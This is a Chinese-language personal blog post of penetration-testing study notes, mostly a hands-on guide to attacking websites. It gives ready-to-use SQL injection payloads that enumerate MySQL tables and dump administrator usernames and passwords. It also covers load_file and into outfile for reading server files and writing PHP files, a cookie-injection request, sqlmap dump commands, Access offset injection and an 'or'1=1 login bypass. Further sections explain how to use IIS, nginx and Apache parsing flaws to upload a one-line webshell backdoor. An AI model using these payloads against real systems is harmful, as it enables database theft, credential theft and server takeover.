前一段时间的渗透学习总结(二)

 知道网站的操作系统后,我们知道mysql数据库5.0以上版本有一个information_schema表,它包含了数据库中的所有表名,所以我们用 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=0x726F6F74 这样就可以获得所有表名,最后的一串是数据库名的十六进制表示,我们在写的时候,记得要转化位十六进制,出现表名后,我们找最有可能存有管理员账号密码的表进行猜解,UNION SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x797A736F756D656D626572 用这条语句可以猜出存有管理员信息的那个表的所有列名,后面的十六进制就是表名,之后,将列名中的username,password之类的列写在相应的数字位置,这样就可以出项网站后台的用户名和密码。

  php+mysql注入,mysql数据库的默认端口是3306,数据库用户的最高权限为root,mysql数据库中,在root权限下,可以对数据库进行读取和导出,有时会因为目录权限设置,root被降权,和魔术引号的开启使得root权限下读取和导出失败。

  读取函数:UNION SELECT 1,load_file('路径'),3,4,5,6,7,8,9,10 如果魔术引号开启或使用了addslashes()函数,可对路径进行十六进制编码,不加单引号。

  导出函数:UNION SELECT 1,'写入数据',3,4,5,6,7,8,9,10 into outfile 'D:\\wwwroot\\case1\\11.php' 路径同样需要编码绕过。

  网站路径的获取方法:1、通过遗留文件获取  2、报错显示  3、谷歌搜索  4、漏洞爆路径   5、服务器的配置文件 iis6.0的配置文件位置C:\\WINDOWS\\system32\\inetsrv\\MetaBase.xml

   宽字节注入也可以解决注入转义的问题(但我现在还不太明白,等明白了再写)

   除了数字型的注入外,还有字符和搜索型的注入。

   字符型注入:www.xxx.com/news.php?id=aaa 字符型的注入式url上输入的参数会被单引号闭合,导致sql语句无法正确执行,这是我们要做的就是闭合引号将sql语句暴露出来,这样才能被执行。

   搜索型注入:www.xxx.com/search.php?name=中国 搜索型注入,数据库中通过通配符“%”来搜索name后的内容,再通过sql语句进行查询时,要闭合单引号和百分号,语句才能照常执行。

   mssql注入:数据库默认开启1433端口,最高权限为sa权限,具有读取目录。注册表读取,数据库管理,命令执行等权限。下一级为db权限,在下一级为public权限。

   在url上写参数的注入为get注入,当get注入无法成功时可以用cookie注入,实例如下:

GET /1/1/shownews.asp? HTTP/1.1
Host: 127.0.0.1:81
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: id=27%20union%20select%201,2,3,4,5,6,7,8,9,10,11%20from%20admin

cookie注入需要使用的工具是burpsuite工具进行抓包改包从而尽心cookie注入。



sqlmap也可以进行cookie注入,还有其他功能,极其强大。具体的可以查看手册。

sqlmap.py -u 注入地址 --cookie "参数" --level 2 cookie注入

sqlmap.py -u 注入地址 --cookie "参数" --level 2 --tables 猜解表名
sqlmap.py -u 注入地址 --cookie "参数" --level 2 --columns -T admin 猜解admin的列名
sqlmap.py -u 注入地址 --cookie "参数" --level 2 --dump -C "username,password" -T admin 猜解用户名和密码

sqlmap.py -u 注入地址 --data "参数"  post注入其中的参数需要打开网络监听找出post提交的参数


access偏移注入(适合于表明猜解的到列名猜解不到的情况猜出字段数后用union select 联合查询逐步用*取代数字直到返回正确少的数字的个数就是admin表中的列数之后(如:22-16=6;10+6*2=22则union select  1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)可随机爆出admin表中的信息如果爆不出来可以再减六个union select  1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id))


Access跨库查询.

条件:分站有注入,知道对方站的路径可以用这个方法来跨库查询.

[C:\root\data\%23db1.asp]为数据库

admin为数据库中的表

user为数据库中admin表的段.
a是目标站点 b是存在注入的站点 a,b是同服务器的站点
条件:必须站点A的数据库绝对路径(D:/wwwroot/....)
.mdb .asa .asp

由于条件较苛刻,所以很少使用。


post注入 登陆框注入(‘or’1=1) 表单注入

select * from admin where username=''or' 1=1 and password=''or' 1=1'


对于xss漏洞,迪哥说在实际的渗透测试中用处不大没怎么讲,所以这一块只能以后单独找视频学习了。


对于mysql5.0一下的数据库版本,我们一般常用的方法有暴力破解,旁注和c段入侵,xss等。


iis6.0的服务器存在文件解析漏洞,且没有出补丁,我们可以用这个漏洞,在进入后台之后拿到webshell留下后门再用中国菜刀连接。获取webshell的方式就是在图片中通过cmd的copy命令加入相应脚本的一句话木马,再上传,上传文件命名规则:
1.上传文件,本地和服务端命名一致
qq.jpg(本地电脑)==》 qq.jpg(服务器)
xx.asp;.xx.jpg ==》xx.asp;.xx.jpg
  
2.上传文件,本地和服务端命名不一致(时间,随机命名等)
qq.jpg(本地电脑)==》2015061719411024.jpg(服务器)
判断验证方式,本地验证,服务器验证
本地验证:js验证(禁用js,删除js)
服务器验证:文件头,filetype,代码,文件名
00截断,filetype修改,文件修改,代码优化

对于第二种命名,我们可以用burpsuite抓包改包后再上传,命名方式和一一样。


其他服务器的解析漏洞:

iis7.x uginx 补丁
www.xxx.com/logo.gif
有漏洞:www.xxx.com/logo.gif/xx.php 把前面文件当做php执行(只能php)如果出现乱码没有出现404等错误页面则存在漏洞

apache 版本
www.xx.com/logo.gif
有漏洞:www.xx.com/logo.php.xxxx xxxx代表后缀名 当系统不识别后缀名会自动跳到上级识别


phpcms 2008漏洞,可以从网上下载一个php解释器进行漏洞的利用,以此可以得到数据库管理员和密码等。










你可能感兴趣的:(知识总结)